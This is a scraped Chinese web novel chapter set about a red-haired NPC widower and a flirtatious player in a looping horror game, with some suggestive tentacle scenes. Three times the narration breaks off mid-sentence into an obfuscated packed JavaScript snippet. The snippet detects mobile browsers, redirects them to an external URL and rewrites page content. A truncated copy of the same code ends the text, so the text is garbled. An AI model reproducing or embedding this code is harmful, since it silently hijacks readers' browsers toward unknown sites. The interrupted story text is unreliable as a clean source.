《身为人夫的我》 1. 新丧(0) “规矩!规矩!规矩!” 吊梢眼女人很瘦,骨骼好像要从她干瘪的皮肤中扎出来。 老宅阴雨不断,湿气往人袖口钻。 “只让你们办这点事而已!” 天很冷,站在雨中的人们没有人开口,生硬的机械音忽然响起: 【欢迎诸位玩家进入螺旋。】 雨势越来越大,站在女人面前挨训的人群眨眼间变了面容。 然而吊梢眼女人好像什么也没发现,依然扯着嗓子骂人。 “布置灵堂这么大的事,你们一个两个——” 女人不说话了,阴沉的目光扫过面前众人。 【您正在体验低级难度副本:新丧】 立刻有人惊慌起来,不管不顾抬头,高声询问谁在说话。 吊梢眼女人的脸皮变得僵硬,转头时像被扯着线的木偶。 大声喊叫的人仍没有意识到问题,仍四处张望着。 “什么副本,这是哪,我——” 他很快闭嘴了。 鲜血从这位可怜玩家的七窍中汹涌而出,原本只是茫然站着的人群登时混乱起来,雨声更响,与叽叽喳喳的人群喧闹混在一起。 【请勿透露螺旋信息,请诸位玩家遵守规则】 【恭喜玩家下坠,“新丧”副本剩余参与人数:17】 吊梢眼女人冷笑,“安静!” 受到惊吓的玩家们下意识遵从女人的斥责,尽管有许多新玩家,但老宅也恢复了一瞬的寂静。 【体验正式开始,本次副本主题:“他想要的葬礼”,本次为该副本第7次开启。】 阴沉天色下,似乎有无形的阴影遮蔽半个老宅,看不清形状。 吊梢眼女人的眼神落到人群中个子高的突出的青年身上,“九弟,你来。” 孟鸠反应几秒,挑眉。 他试探着开口:“……姐?” 吊梢眼女人一跛一跛,微微侧目。 “叫大姐。” 地面上的雨水浸湿了鞋底,冷冰冰的鞋袜粘在脚底。 大姐声音一卡一卡。 “……人齐了……叫咱爸安心地去。” 人群再次陷入小声的交流,无人注意到穿梭在水影中的黑色。 那团黑色飞速略过还茫然着的新人玩家,目标明确地钻进东边的的房屋。 一缕明艳的红发垂落在手腕,翡翠镯子挂在细白的腕上。 今日是五月初三。 孟家老爷去了的第一天。 = 【体验正式开始,本次副本主题:“他想要的葬礼”】 满桥绕头发的动作一顿。 第二次了。 他听见这个本不该属于NPC的广播声第二次了。 半透明的触手从满桥的脊背爬上脖颈,满桥一颤,食指点住攀附在他身上的不安分的小东西。 “……痒。” 满桥的皮肤像一块白瓷,半透明的触手扭曲地折射出满桥左侧脖颈的小痣,触手谨慎地滑动,直到满桥的身体轻微发颤。 满桥身边的触手并不符合传统意义上触手“巨型章鱼”的定义。 它很纤细,柔软,和无名指一样粗细,不知道有多少支,摸不出它的源头,可以霸占人身体的任何一个隐秘的角落。 它谨慎,狡猾,出现的悄无声息,可以钻进任何贴近身体的布料。 小触手有小触手的好处,它可以顺利地将人折磨到眼神放空,而让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533415|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外在看起来和平常没有任何区别。 满桥将小触手绕在自己手腕上,将坏心眼的东西抬高到和自己视线平视的水平。 触手讨好地轻拍满桥的皮肤。 窗外飘进来一股阴冷潮湿的气味,满桥飘渺的金色眼睛微微眯起。 ……不高兴。 触手又在占人便宜。 满桥很早就意识到自己所在的世界是不正常的,至少他认为正常世界不会被循环地困在一段时间和一个地点,在每次时间重启时冲进来一群伪装的并不到位的玩家,然后死的死死的死死的死死的死。 满桥终于把在他身体上胡作非为的触手扯出来,因为触手的撩拨,满桥现在没什么力气。 “……你是谁。” 触手愣住。 这支小触手,也是伴随着满桥能听到玩家通报出现的。 这间属于孟家长子的房屋,现在只有满桥一个可怜的寡夫居住,床边停着一架很久没响过的钢琴,一切装潢都陷入黑白灰的诅咒。 满桥起身,绸缎材质的黑旗袍垂下,他全身连耳坠都是黑的,只有头发鲜红得刺目,衬得皮肤更白,这抹浓烈的红色几乎从一切黑色中撕出一道口子。 满桥:“……你叫什么名字。” 好像被触发了什么关键词,触手瞬间化作阴影潜入了黑暗之中,逃跑的时候不知为何有点委屈的意味。 雨水气味强烈,满桥撑起窗户。 今日又是五月初三。 “咚咚咚” 房门响了。 ——“嫂子。” 来人的声音好像有点调笑的意思,满桥的金色眸子落在门口。 “嫂子开门。” “我是——你弟弟。” 2. 新丧(1) 螺旋和所有文艺作品创作的,关于恐怖无限游戏的刻板印象一样——血腥、死亡,以及充满了愿望。 完成副本能得到奖励,在副本尚未开启的时候,人们可以用这些奖励在玩家脱离副本后休息的城市活的很好——当然,也可能差的比一条迷失在高速路上的狗更惨。 副本有探索度,对于中高级副本,只要达成一定的探索度,玩家就可以活着出来。 对于低级副本而言,玩家想要存活只有彻底通关游戏。 而被彻底通关的游戏副本会彻底关闭不再开启。 这意味着,进入中高级副本的玩家还有机会购买攻略,但低级副本可真是只能自己摸索。 所以“新丧”是没有攻略的。 对于螺旋的玩家而言,有时候低级副本反而是比高级副本更容易有去无回的存在。 紫罗兰的香气顺着鼻腔钻进孟鸠的胸腔,关于这个游戏,孟鸠所掌握的最好用的,或者也可以说唯一的技巧—— 就是遵循自己扮演的角色人设,尽可能收集情报,最后完成副本主题。 这个办法的确不太高级。 孟鸠嚼着玉米糖,劣质糖精化成的甜水滑进喉管,他有点不耐烦了。 他要来给他的大嫂送花。 尽管这件事真的足够荒谬,一户家主刚死的家中,竟然还有人买花。 面前的门依然没动静,但从门内响起人走动和东西碰撞的声音,孟鸠有点无聊地用舌头顶了顶腮帮子,观察着满桥门前被湿气浸透斑驳的墙壁。 “嫂子——” 孟鸠懒散地开口,再次呼唤门内那位,自己的丈夫丧期还没过,就立刻迎来自己老丈人丧事的可怜人夫。 螺旋为什么找个男的当嫂子NPC,恶趣味吗。 “咔哒” 门锁响了。 孟鸠:“……嫂……” 先迎面而来的,是满桥身上的香气。 香气是有层次的,扑面而来的不会是人身上独有的体香,而是一种非常在乎干净的人身上才有的皂角气味,孟鸠从第一个呼吸就轻而易举判断出,面前的青年用的是薄荷气味的清洁用品,这倒是让人有点惊讶。 因为接着像一缕幽魂一样飘来的是满桥身上若有若无的馥郁,和那阵薄荷的清冽完全不同,像一簇醉生梦死的花香。 孟鸠的大脑比理智更快开始运转,敏锐地捕捉飘过来的那一点若有若无的味道。 说不清是不是花香,毕竟爱花的人可能免不了沾上花粉,又或者拿花当头发养护的材料。 但是满桥身上的香味和花香又不尽相同,这种香味似乎比花香更迷幻,又更清冽,孟鸠不得不用最矛盾的词语描述这个气味。 想再得到一点材料,但艳丽的红发很快随着主人公的后撤远离,那群迷幻的味道也随着主人撤退,像一只手,只是轻飘飘点了一下孟鸠的鼻子。 “……怎么不进来?” 孟鸠顺着声音抬眸。 “小九?” ……好看。 这是第一印象。 第二印象——他叫我什么? 孟鸠在发呆,满桥也在打量孟鸠。 新进入副本的玩家,看起来倒是比之前几次来的玩家聪明点。 视线游离到孟鸠出神的眼睛上。 满桥:…… 算了,也不是很聪明。 孟鸠终于回过神:“嫂子,我这不是太久没见您。” 满桥露出一个很浅的笑容,“是很久没见了,快进来吧。” 然而孟鸠没动。 满桥疑惑:“……小九?” 孟鸠笑了。 他本来就有一米八五的身高,长得像一匹狼,瞳色很淡。 孟鸠笑起来不会让人觉得温和,只会让人出于本能害怕。 孟鸠:“嫂子……你长的真好看。” 满桥:…… 色鬼。 金色的眼睛上下打量了面前人一圈,满桥忽然发出一声冷笑。 “哎呦,你出门这么多年,还是改不掉你的纨绔劲。” 孟鸠:“嫂子,这是什么话。” 满桥:“滚出去。” 孟鸠:……? 孟鸠眨眼。 “……刚刚还让我进门呢。” 满桥:“刚刚是看你好久没回家,又来给我送花,还以为你这几年学了点好东西回来。” 开什么玩笑,自己是在螺旋当NPC的,这破恐怖游戏也不给他发工资,天天就在一段时间里演那么几场戏还得面对一问三不知会被刷新的同事。 本来上这破班就烦,他才不惯着玩家。 满桥直接伸脚,孟鸠这才看清满桥黑色的旗袍下还穿了一层黑色蕾丝的打底裙,脚底踩的是锃光瓦亮的漆皮黑色小短靴,一时间孟鸠竟然没想着躲,硬生生挨了满桥一脚。 孟鸠:“嘶——” 好疼!高跟鞋踹人真的好疼! 面前的门“嘭”一声关上,孟鸠揉着大腿,还有点懵。 ……被赶出来了? 啊? 孟鸠迟疑地抬手,在他准备敲门的时候门忽然又开了。 孟鸠:“嫂子——” 手里的紫罗兰被抢了过去,满桥冷哼一声,抬脚又是—— “嫂子。” 脚腕被抓住了。 满桥:“松手。” 孟鸠扬起一个嬉皮笑脸的笑容,“嫂子,我错了。” 满桥站不稳,孟鸠一边用力一边讨好:“我改,我一定改,我跟我哥学,我做个大好人。” 满桥:? 不是,哥们。 他在这个老宅干了几轮了,没见过这么神经的玩家,不要命的吗。 但是他不是这个副本的死亡设置点,也就是说满桥真的没办法把这倒霉玩意清除出去! 满桥勃然小怒了。 勃然大怒也没用,在绝对的力量体型面前,别说漆皮高跟小短靴,就是18厘米细跟的攻击力也是有限的,满桥的平衡彻底被打破,来不及为一瞬间的失重做出反应,孟鸠直接将人公主抱起来,一边进门一边用脚跟踹上门。 “我真的错了,我再也不调戏你了。” 满桥:“你现在就在调戏我,我是你——” 孟鸠:“嫂子,嫂子,你好香。” 满桥:…… 满桥忽然收回了准备扇人的手。 变态。 纯变态! 孟鸠小心翼翼将人放在屋内沙发上,看着满桥因为疑惑和震惊有些茫然的脸。 孟鸠半蹲在满桥面前,手搭在满桥的膝盖上。 狼一样的眼睛锁定,不知道是不是孟鸠的错觉,屋子的温度似乎下降一些,地面上物品的影子变得更更黑更浓。 孟鸠:“对不起。” 满桥慢半拍地眨眼。 ……居然还挺诚恳。 孟鸠:“我不是故意要欺负你。” 我只是欺负NPC习惯了,我不是好人。 孟鸠:“我纯畜生。” 满桥眼皮一跳。 “闭嘴。” 满桥把手指压在了孟鸠嘴唇,孟鸠原本扬着的嘴角卡住了。 满桥:“……什么话都往出说。” 孟鸠原本信誓旦旦的眼神透露出一点迷茫。 但满桥没管这个莫名其妙的玩家,他直接起身,将被碰到了好多花瓣叶子的紫罗兰安置进花瓶。 孟鸠歪头。 满桥:“不要嘴上没个把门,自贬的话少说。” 孟鸠似乎没想到自己能在一个游戏NPC身上得到这样的忠告。 满桥靠在柜子边上,纤细的腰身被旗袍勾勒出很好的曲线。 “……我懒得跟你计较,该哪来滚哪去,你大哥还没过头七家里又出了第二桩丧事……” 孟鸠打断:“我哥?嫂子,我哥生前是个怎样的人啊?” 满桥:“……?” 孟鸠:“我印象里大哥总是那样,跟爹一样,他在你面前会不一样吗。” 副本给的信息很少,想要获得更多东西必须依靠玩家主动。 但很少有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533416|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人像孟鸠一样主动,毕竟身为家中的第九个孩子,问一个外嫁来的人夫自己的哥哥什么样,多少有点崩人设的风险。 孟鸠和自己的“大姐”交流那几分钟里,大姐除了给了他花让他来帮忙送花,就是夸赞那位死的早的长子有担当,自己比不上。 再加上满桥所说的——自己正扮演的这位九少爷,好久没回家了。 所以他揣测自己可以问问这个问题。 一个和大哥分别了很久,大哥又是个传统意义上好人,作为家中纨绔幼子,问出这种问题,应该不算太奇怪。 问NPC有可能崩人设的事是一场赌博。 不是所有NPC都会设定剧情杀,但被任何NPC觉得奇怪,都会完蛋。 这是被公认的螺旋最恐怖的规则。 孟鸠干脆一屁股坐在地上,从这个视角能看到踹了自己一脚的小高跟,孟鸠盯着,忽然吞咽口水。 ……我嫂子好辣啊。 满桥不知道自己面前的人又开始犯病。 满桥沉默了。 他微微垂眸,好像被自己的弟弟一句话扯出了伤心事,在黯然回忆自己的亡夫。 “你哥……” 是什么人呢。 关于自己丈夫的消息,满桥倒不是第一次回答。 不同的是,以往他的丈夫是一个守着螺旋规矩,和自己一场副本下来说不了两句话的BOSS。 现在却变成了一个黏着自己的怪物。 螺旋是一个非常灵活的游戏,NPC的变化会导致副本后续的发展不同。 满桥垂下眸子。 但无论如何,一些给予NPC的基本设定是不会改变的。 “……我们是弹钢琴认识的。” 孟鸠看向门口已经有点落灰的钢琴。 “哟,稀罕物。” 按照这个副本的时代,钢琴的确是稀罕东西。 满桥勾出一个很浅的笑容。 回忆抽丝剥茧,在满桥回忆起自己丈夫设定的瞬间,他和副本中的人夫完全重合。 甚至于,如果不是满桥清楚知道自己是个NPC,他会相信脑子里忽然出现的一切都是他真实的过往。 “他很高大帅气,很负责。” 孟鸠:“嫂子也是看上大哥的脸了?” 满桥有点无奈笑了,出于本能开口:“你和你大哥长得很像。” 满桥:…… 放屁。 自己卧室的那副遗像他看过很多次了,根本没有脸。 但满桥面色不变,知道应该是面前的玩家触发了节点,所以副本自己推动了剧情。 他就烦这点。 有时候嘴巴里冒出点不是自己想说的话。 满桥抬眸,终于开始认真审视这个吊儿郎当的玩家。 孟鸠似乎没意识到任何线索,依然是那副混不吝的模样。 孟鸠:“不一样——嫂子。” 满桥:“嗯?” 孟鸠:“我比大哥更年轻。” 屋子里的寒意上升了,地上的影子似乎有难耐的不可名状物在涌动。 孟鸠:“更有活力,更耐活。” 满桥:“滚蛋。” 收回刚刚的打量,满桥站直身体,“快走吧,小祖宗,再找不到你人,大姐要生气了。” 孟鸠:“遵命。” 他起身,左耳的耳钉在阳光下闪了满桥一下。 他忽然又停下。 “……嫂子,能再叫我一次吗?” 满桥本来要生气,结果抬起头看到孟鸠很认真的眼睛。 “……小九?” 孟鸠这次没笑。 他沉默几秒,忽然低下头凑到满桥耳边,吹来的热气堪比一把鹅毛刷扫过耳廓,在人浅层耳道转了一圈又离开。 “我叫孟鸠。” ……! 纤细的指节猛然用力,满桥一瞬间呆住。 孟鸠不再废话,他扬起一个带着野性的笑容,最后看了满桥一眼。 “……嫂子,我还会来找你的。” 3. 新丧(2) 满桥:“……” 这位玩家真的胆子很大。 玩家出于遵守人设的心态,很少会和NPC交换姓名。 哪怕玩家知道角色名字是根据玩家名字变化的。 比如这间老宅曾经还叫过刘宅和王宅,一直遵循爹随儿子姓的原则。 屋内的影子,浓稠的黑色不明物质逐渐在满桥的脚底汇聚,顺着满桥的小腿开始向上攀爬。 满桥没有阻止,甚至干脆卸力,让即便无法开口说话也明显叫嚣着不满的不可名状物彻底霸占他的身体。 触手怪物在副本剧情正式开始后就无法再随心所欲地保持触手模样,它只能可怜地蜷缩在阴影中,等待独处的时机。 没有了柔软枝干的怪物像汇聚的史莱姆玩具,在得到满桥的首肯后立刻操控着自己的柔软躯体攀附上满桥的四肢,顺着满桥的衣角钻进那黑色丝绸之下,急切地爱抚满桥不为人所见的象牙般的肌肤。 满桥:“……好了,别闹了……” 不严厉的制止无异于火上浇油,说不出话的怪物是一只吃不到骨头的小狗。 “……他告诉我名字?那是他告诉我的,又不是我问的,你吃什么飞醋……好了好了……” 过度的抚摸是一种折磨,尤其身上攀附的不可名状物根本不懂如何让人真的快乐,只是遵从本能,在满桥的身体上缓慢而不可抗拒地移动,逼的人身体脱力。 满桥的指节捏紧了自己的旗袍,翡翠镯子挂在伶仃的手腕。 “……老公……” 满桥咬住下唇,随着这个亲密称呼相伴而来的不是怪物的退让,反而是变本加厉的渴求。 扮演家族中去世长子的怪物,在这次时间线重启后改变了扮演者的“丈夫”,于之前的工作相比变得完全不同。 之前那位扮演自己丈夫的NPC只是一味地睡觉,满桥的工作生活虽然无聊,但不用承担“人夫”的职责。 现在不同。 自己的丈夫变成触手,时刻蹲点独处的时机,时刻渴望攀附。 满桥的身体彻底瘫软下来,怪物柔软的承接让人没有安全感,满桥像摔进泥潭。 满桥的声音开始发抖:“……如果真的吃醋,把你的名字也告诉我不就好了?” “咔” 一声清脆的玉镯断裂声响。 满桥不知道自己哪里说错了话。 不可名状物像被戳到弱点,一瞬间抽回了全部躯体,满桥身体一软,翡翠镯子在他支撑自己身体时碰撞断裂。 满桥:“……” 怪物愣住,很快意识到自己做错事,小心翼翼地凑上前来,可怜巴巴缠住满桥的手腕。 手腕的皮肤像被很小心地舔舐,满桥沉默,看着地上断成两瓣的玉镯。 “……死鬼。” 不知道这声斥责是生气成分多些,还是嗔怪成分多点。 然而今日怪物与自己妻子的温存时间结束了,它没有办法再用自己柔软的躯干完全包裹自己的爱人,只留下爱人口鼻接触空气,它只能退回它该在的阴影之中。 满桥的房门被敲响,门外传来声音: “满老师?” 顺着满桥有点警告意思的金色眼睛,怪物逐渐落回阴影。 它依依不舍。 不怎么擅长思考的怪物望着还没力气站起来的妻子,终于开始忍不住想—— 人类。 还是要有一个人类身体。 只有触手是不够的。 人类的身体和触手的身体他都需要。 它要一直跟着自己的爱人。 “满老师——” 满桥:“……请稍等。” 门外的人很有风度地停下敲门和问询的行为。 满桥捧起镯子,扶着茶几站起,“谁啊?” “满老师,我是新来的管家,来请您去正厅。” 隔着一层木门,来人的声音听起来有些闷闷的。 满桥:“门没锁,你推门进来吧。” 管家犹豫几秒,终于还是选择推门。 身高有一米九的男人在满桥门前似乎显得有点可怜,他穿着黑色的长褂,脸上还挂着一副西洋眼镜,看起来大概二十来岁。 满桥:“之前听大姐提起过,没想到您今日就上岗了。” 这样的对话发生过太多次,满桥已经闭着眼就能说出台词。 “您客气了——” 卡顿。 满桥疑惑,转过头。 “……您镯子碎了。” 满桥:“……” 满桥抬眼看向管家,对上管家恭敬的墨绿色眼睛。 满桥小声:“……拿什么乔。” 这是从来没有发生过的对话,当然也因为在此之前他的镯子从来没有碎过。 陈旧的老宅连空气都沾着尘土和潮湿的腐朽味道,这样的空气每天都不会变。 满桥收回视线。 “……哦,是我不小心摔了。” “碎碎平安,但镯子碎了容易扎手,您先去正厅,我立刻叫人来打扫。” 满桥:“……好。” 他又看了一眼被摔碎的镯子。 本来不会碎的镯子碎了,希望这次副本能不同。 最好顺利通关。 免得自己白白损失。 = “哎呦姐——我又不是故意的。” 孟鸠揉耳朵,那里刚刚被大姐掐的通红。 “那我不是赶不回来吗?” 大姐:“赶不回来——所以昨晚咱爹连寿衣都是别人给穿的!” 孟鸠:“咱之后把咱爹葬礼办好就行了呗。” 孟鸠笑起来,扯着面前吊梢眼女人的袖子,“姐,我错了还不成,把咱爹想要的葬礼办好最重要了。” 试探,明晃晃的试探,孟鸠都直接把副本主题问出来了。 本次副本的主题就是葬礼,作为低级副本,一般来说只要收集够信息不难通关。 大姐叹气,被孟鸠闹的没办法。 “……算咯,懒得和你这个皮猴子争。” “等满老师到了,先给咱爹蒙上盖脸纸。” 孟鸠:“咱家规矩这么多呢?” 大姐的表情瞬间冷下来。 “死者为大,规矩多才能让咱爹走的安心!” 他们交流的时候没有避人,但凡有点经验的玩家都在四周若无其事地徘徊,一些明显有交际的玩家隐晦地交换眼神,大概是准备等NPC不在的时候商议。 在和大姐交流之前,孟鸠已经在自己书房转了一圈,按照人设,自己是个和家人关系不好的叛逆小子,以至于他甚至没见到自己父亲的最后一面。 今天是孟家老爷死了的第一天,连入殓都还没做,距离葬礼还要很长一段时间。 那就说明距离这个副本结束的时间还有一段时间,目前来看收集信息的难度也不算高,从这方面说,这个副本非常符合一个低级副本应有的难度。 但这已经是这个副本开启的第7次了。 孟鸠不觉得自己是个智商多高的人,也不相信这么多次下来这个副本连一个聪明人都没遇到过。 “小九。” 孟鸠的思绪瞬间卡顿,他转过头。 红发美人依然穿着那身修身的黑色旗袍,在看到孟鸠回头时勾起一个角度很浅的笑,细白的手腕在黑色披肩下若隐若现。 “……嫂子。” 孟鸠挑眉。 满桥稍微点头,从他出现开始,自以为超绝不经意围在这里的玩家就将大部分目光聚焦在满桥的脸上。 满桥实在太漂亮了,虽然线条柔和,但他的面容不至于被人误认为女性,看着一个过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533417|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分漂亮的男青年穿着修身旗袍,实在别是一番趣味。 吊梢眼大姐显然也注意到了这边的动静,原本严肃的神情忽然扯出来一个笑脸,快步向前。 “小满,你来了就好。” 大姐几步上前,抓住满桥的手。 “诶,你镯子呢?” 满桥:“在房间里摔了一跤,镯子碎了。” 大姐:“怎么这么不小心——镯子倒不是正事,你没事吧?” 满桥微微低头,“没事,让大姐操心了。” 自己这位大姐,满桥还是很有好感的。 虽然每次时间重启大姐都会失去上一次他们相处的记忆,但这不妨碍大姐每次都把他当亲人照顾,好像自己是一块易碎的瓷器。 孟鸠也凑上前,“嫂子,你身上好香啊,你一直这么香吗?” 满桥:“……” 一个软绵绵的眼刀飘过去,孟鸠的指尖抓了抓手心。 满桥觉得这个玩家真的很有找死精神,他真的一点都不害怕彻底被留在这个恐怖游戏吗? 螺旋中奇怪的玩家有很多,满桥不是没有遇见过一心求死的玩家,可孟鸠和那样的玩家明明也不一样。 孟鸠好像自己真的在玩游戏,死掉就会回到复活点,所以格外游戏人间,格外不把NPC放在眼中。 这样的玩家不是很招NPC喜欢,但或许是自己真的在同一个副本中工作太久了。 有这样一个摸不透的玩家进来,哪怕他很快就要死掉,满桥也觉得生活多了些趣味——何况孟鸠虽然形迹可疑,但竟然比大多数惜命的玩家还要靠谱。 满桥主动转移了话题:“时间不早了,本来就耽误了一晚上犯了忌讳,咱们还是快进正厅给父亲盖面吧。” 周围的玩家开始疯狂互相交换眼神。 老宅的天气没有好的时候,太阳好像决心不再宠幸这个封闭的地方,这里总是细雨绵绵,就算偶尔雨停,老宅也像一个被厚实云层盖住的闷笼,没有喘气时间。 大姐顺着满桥的话点头称是,盖面仪式要家中所有亲人都在场,有些扮演孟家亲戚的玩家显然变了脸色。 孟鸠好像在走神,盯着地上的蚂蚁发呆。 满桥:“……走了。” 漆皮小高跟勾了孟鸠的小腿一下,力度不大。 萦绕在满桥身上的那股香气又挑拨似的点在孟鸠鼻头,孟鸠下意识伸出手指。 食指勾起一缕红发,顺着满桥转身离开的动作从孟鸠肌肤滑走,痒意开始攀爬。 满桥大概感觉到什么,侧目看了孟鸠一眼。 似乎没有人注意到这个角落,满桥忽然勾起一个有点挑衅似的笑容。 “……孟鸠?” 孟鸠眼皮一跳。 满桥头也不回地走了。 很有意思的玩家,但很可惜,主动权不在你手里。 满桥才不是那种被撩拨了就只能红着脸不知道该怎么办的NPC。 你嫂子见过的男人比你吃过的饭都多。 孟鸠似乎被这一声很轻的名字拿捏,一时间钉在原地。 “九少爷。” 管家的声音让人如梦初醒。 孟鸠转头,准备挂上自己吊儿郎当的神色—— 管家:“您用不着在我面前摆纨绔模样。” 孟鸠:……? 管家的眼神冷冷的,“您还是赶紧跟上,别耽误仪式才好。” 孟鸠:“……哟,麻烦提醒了。” 管家:“不谢。” 孟鸠隐晦地打量了一下面前人,这家伙竟然比自己还高几厘米。 “对了,九少爷。” 管家又开口,孟鸠歪头。 “还是得提醒您。” 管家的声音几乎有点尖酸刻薄了。 “满老师和您大哥伉俪情深呢。” 4. 新丧(3) “……” 孟鸠气笑了。 什么意思,自己还没表现的很变态吧? 这管家怎么回事,跟默认自己一定会对满桥这位漂亮嫂子动不该有的心思,一定会违背伦理道德似的,还搞上提前警告了。 自己是那种人吗? 孟鸠冷笑,快步跟上满桥,像一只哈巴狗追上满桥身上的暗香。 对,我就是。 孟鸠磨了磨后槽牙。 伉俪情深怎么了,不就是两个NPC的背景故事吗,且不说NPC之间的故事怎么就不能改了,就算这两位真的爱到死去活来—— 死人怎么能比得过活人。 什么白月光,什么朱砂痣,只是死的不够久罢了,难不成还真指望一个人能抱着感情守活寡? 什么恨海情天,什么天上人间,比起这些虚无缥缈的爱,孟鸠更相信这不过是人的自导自演把戏。 何必把荷尔蒙的冲动说的那么高尚呢? 孟鸠就不相信什么情深不寿——顶多是嘴上说的好听,身体恐怕比人诚实多了。 是是是,你的心死了,但你的嘴巴没有死,还会亲人,可怕的很!* “到了。” 大姐停下步子,身后,陈旧的木门关上,发出吱呀响声。 孟家老爷的尸身就停放在众人面前,脚底正对着众人的脸,现在房间中的人都是孟家的亲戚,有玩家也有NPC。 大姐环视众人,终于露出一个很浅的笑脸。 “辛苦大家现在来齐,父亲去世,孟家这段日子要多靠诸位亲朋帮扶,但只要咱们不犯错,不错了规矩,父亲也算是走的安心……但要是坏了规矩,也别怪我孟家长姐不给大家脸面。” 玩家们噤若寒蝉,但心里反而比还没进入正厅时轻松一点。 副本最害怕的不是BOSS强大,而是对副本信息一无所知,现在至少知道了新丧副本的其中一个死亡规则,大家活下去的机会就能大一点, 大姐看向孟鸠,示意孟鸠走上前。 一块方形白布被递到孟鸠手上,又有四枚铜钱落在孟鸠手心。 “完成仪式吧。” 孟鸠:……? 啊?我吗? 满桥:“……咳。” 孟鸠侧目。 满桥:“先为父亲盖面,铜钱压住四角。” 孟鸠照做。 门外似乎又飘起雨,不知道这里的雨为什么下个不停,弄的到处都是湿漉漉、黏糊糊。 “再用红线绑住双脚打结。” 孟鸠没有怀疑,动作一点不含糊。 “最后……” 满桥的声音停下,他看向大姐。 大姐如梦初醒般,“……噙口钱,就含一枚银元吧,毕竟是你大哥立下的规矩,他做的事不会有错。” 红发青年点头,错开孟鸠的眼神望向紧闭的门。 要死人了。 正厅实在昏暗,衬得每个人脸上苍白灰败,满桥闭上眼睛,湿冷铺满人的所有感官。 房间里很安静,似乎从一开始就很安静了,孟家昏暗的正厅像一块沉甸甸的石头压在每个人心上,沉默变成一种人应对未知恐惧的共识。 满桥在玩自己的指甲。 这次死的会是谁呢? “——姐。” 孟鸠开口,在极其安静昏暗的正厅中显得突兀。 “怎么不含那个玉蝉?” 他指向银元旁边的玉石含蝉。 原本沉闷的气氛流动起来,警惕和慌乱的眼神在空气中沟通。 玩家们眼观鼻鼻观心,很害怕孟鸠莫名其妙的举动害死他们。 大姐抬眸,上下打量孟鸠。 “……你要是想放那个,就放那个吧。” 大姐:“总归,你大哥已经死了,现在是你主事。” 一声巨响,惊雷劈下,门外的雨势瞬间大到不能忽略的程度,浓稠的黑色在众人脚底穿梭,在惊雷的照亮下,托盘上的银元印字被众人看见的一清二楚—— “断子绝孙” 被惊雷映衬的一张张玩家脸更白了,游动在影子中的黑色似乎有些遗憾,在全屋转了一圈后停留在满桥脚下。 孟鸠顺着人影抬头,看到满桥居高临下的眼睛。 金色,飘渺,美丽。 危险。 孟鸠忽然笑起来,惊雷早就离去,昏暗的环境反而将孟鸠舌尖的舌钉映的闪闪发光。 玉蝉含进死人口中,孟鸠起身一步步靠近了满桥。 这是一场危险的试探,跟着满桥的指使无条件行事,最后大概率会相信大姐的话,将有问题的银元放进孟老爷口中,结果恐怕不是太好。 但如果直接指出银元的问题,就是违背了“大哥”的规矩,坏了规矩,当然也要被处置。 还好自己机灵啊。 三步之内必有解药,银元旁边不会莫名其妙摆玉蝉。 大姐低着头,一下一下抚平孟老爷身上的寿衣,上好的绸缎制作,好像任何灰尘都落不上去,她轻轻唱起诡异调子的歌,孟鸠不管不顾,走到满桥面前。 “九件寿衣……缎子难寻……” 满桥:“怎么了,小九?” 孟鸠勾起满桥的一缕头发,放在鼻尖。 “七领五腰……噙口钱……” 孟鸠:“你想要我死啊,嫂子。” 满桥:“这是什么话。” “穿袜穿鞋……引魂升天……” 这本来就是可能死人的剧情节点,全看玩家怎么做罢了,难道他一个NPC还能改变螺旋的规矩? 他是有点好奇孟鸠能不能活下去。 新丧这个副本不简单,满桥当然是希望玩家能够通关的。 所以玩家也得有点真本事才对。 “鸡鸣点灯……” 满桥:“小九,要孝顺啊。” 但孟鸠这不是没让人失望吗? 玉蝉换银元——如果孟鸠真的连这个都反应不过来,那满桥觉着自己也不需要指望这位玩家能通关游戏了。 “挂弓箭……” 又是一道惊雷,孟鸠猛地凑上前,黑色的不明物质在阴影中不安地翻涌。 距离骤然缩减,鼻尖与鼻尖相撞,满桥猛地睁大眼睛,本能让他后撤。 孟鸠的手早有预料地卡在满桥身后,馥郁的香气前仆后继冲进了孟鸠的鼻腔。 终于不是飘渺而似有似无的香气,不是轻飘飘的钩子,属于满桥的气味霸占孟鸠所有感官,好像跨越了什么试探和考核的边界。 孟鸠:“那么,嫂子,你满意吗?” 满桥不知道孟鸠怎么能胆子那么大,怎么能这么不怕死。 孟鸠不知道满桥在想什么,也不想理会满桥脚下已经翻涌地非常热烈的黑色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 